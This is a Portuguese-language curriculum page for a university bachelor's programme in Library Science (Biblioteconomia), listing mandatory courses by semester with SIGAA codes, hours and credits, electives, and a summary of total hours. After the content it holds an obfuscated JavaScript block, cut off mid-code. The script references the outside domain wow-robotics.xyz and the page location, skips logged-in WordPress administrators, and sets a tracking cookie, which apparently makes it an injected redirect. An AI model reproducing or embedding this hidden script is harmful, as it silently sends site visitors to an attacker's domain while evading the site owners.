Estrutura Curricular – PPC (2006.2)
Disciplinas Obrigatórias
1° Semestre – Disciplinas | Código SIGAA | C/H | Créditos |
Introdução à Filosofia | BIB0001 | 64 h/a | 04 |
Introdução à Sociologia | BIB0002 | 64 h/a | 04 |
Introdução à Biblioteconomia | BIB0003 | 32 h/a | 02 |
Introdução à Pesquisa Documentária | BIB0004 | 32h/a | 02 |
História dos Registros do Conhecimento | BIB0005 | 64h/a | 04 |
Tecnologias da Informação I | BIB0006 | 64h/a | 04 |
Informática Aplicada a Biblioteconomia e a Ciência da Informação | BIB0007 | 64h/a | 04 |
2° Semestre – Disciplinas | Código SIGAA | C/H | Créditos |
Fundamentos Teóricos da Biblioteconomia e da Ciência da Informação | BIB0008 | 64h/a | 04 |
Teoria e Prática da Leitura | BIB0009 | 64h/a | 04 |
Editoração | BIB0010 | 48h/a | 03 |
Tecnologias da Informação II | BIB0011 | 64h/a | 04 |
Teorias da Informação e da Comunicação | BIB0012 | 64h/a | 04 |
3° Semestre – Disciplinas | Código SIGAA | C/H | Créditos |
Controle dos Registros do Conhecimento | BIB0014 | 48h/a | 03 |
Fontes Gerais de Informação | BIB0015 | 64h/a | 04 |
Métodos Quantitativos em Biblioteconomia e Ciência da Informação | BIB0016 | 64h/a | 04 |
Metodologia do Trabalho Científico | BIB0017 | 64h/a | 04 |
Cultura e Mídia | BIB0018 | 64h/a | 04 |
4° Semestre – Disciplinas | Código SIGAA | C/H | Créditos |
Representação Descritiva da Informação I | BIB0019 | 64h/a | 04 |
Representação Temática da Informação: Indexação | BIB0020 | 96h/a | 06 |
Fontes Especializadas de Informação | BIB0021 | 96h/a | 06 |
Formação e Desenvolvimento de Acervos | BIB0022 | 64h/a | 04 |
5 ° Semestre – Disciplinas | Código SIGAA | C/H | Créditos |
Metodologia da Pesquisa em Biblioteconomia e Ciência da Informação | BIB0023 | 64h/a | 04 |
Gestão de Unidades de Informação | BIB0024 | 64h/a | 04 |
Linguagens Documentárias Alfanuméricas CDD | BIB0025 | 48h/a | 03 |
Informação e Sociedade | BIB0026 | 64h/a | 04 |
Representação Descritiva II | BIB0027 | 64h/a | 04 |
Estágio Supervisionado I | BIB0028 | 96h/a | 06 |
6° Semestre – Disciplinas | Código SIGAA | C/H | Créditos |
Informática Documentária | BIB0029 | 64h/a | 04 |
Estudo de Comunidades e de Usuários | BIB0030 | 64h/a | 04 |
Linguagens Documentárias Alfanuméricas – CDU | BIB0031 | 48h/a | 03 |
Geração e Uso de Bases de Dados para Unidades de Informação | BIB0032 | 64h/a | 04 |
Recuperação da Informação | BIB0033 | 64h/a | 04 |
Estágio Supervisionado II | BIB0034 | 96h/a | 06 |
Monografia I | BIB0035 | 32h/a | 02 |
7° Semestre – Disciplinas | Código SIGAA | C/H | Créditos |
Gestão de Recursos Humanos em Unidades de Informação | BIB0036 | 64h/a | 04 |
Planejamento de Unidades de Informação | BIB0037 | 96h/a | 06 |
Org. Sistemas e Métodos em Unidades de Informação | BIB0038 | 64h/a | 04 |
Serviços de Informação | BIB0039 | 64h/a | 04 |
Linguagens Documentárias Alfabéticas | BIB0040 | 64h/a | 04 |
Estágio Supervisionado III | BIB0041 | 96h/a | 06 |
Monografia II | BIB0042 | 32h/a | 02 |
8° Semestre – Disciplinas | Código SIGAA | C/H | Créditos |
Monografia III | BIB0043 | 32h/a | 02 |
Seminário de Atuação Profissional | BIB0044 | 32h/a | 02 |
Disciplinas Optativas
Além das disciplinas já citadas, também sugere-se as que se seguem para compor o elenco das disciplinas optativas a serem ministradas de acordo com a identificação da demanda e vocação da região: |
Disciplinas Optativas | Código SIGAA | C/H | Créditos |
Bibliotecas Infantis e Escolares | BIB0046 | 64h/a | 04 |
Bibliotecas Públicas e Comunitárias | BIB0050 | 64h/a | 04 |
Bibliotecas Universitárias e Especializadas | BIB0051 | 64h/a | 04 |
Cultura Brasileira | BIB0045 | 64h/a | 04 |
Evolução do Pensamento Filosófico e Científico | BIB0047 | 64h/a | 04 |
Marketing em Unidades de Informação | BIB0049 | 64h/a | 04 |
Museologia | |||
Psicologia Social |
Síntese da Carga Horária
A carga horária mínima dos diversos componentes curriculares e atividades didático-pedagógicas para a integralização curricular necessária à formação do bacharel em Biblioteconomia, compreende um total de 3200 horas distribuídas da seguinte forma:2488 horas para a formação básica 128 horas para disciplinas eletivas/optativas 200 horas para as Atividades Complementares 288 horas de Estágio Supervisionado 96 horas de Monografia I, II, III |
// <![CDATA[
var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(–_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c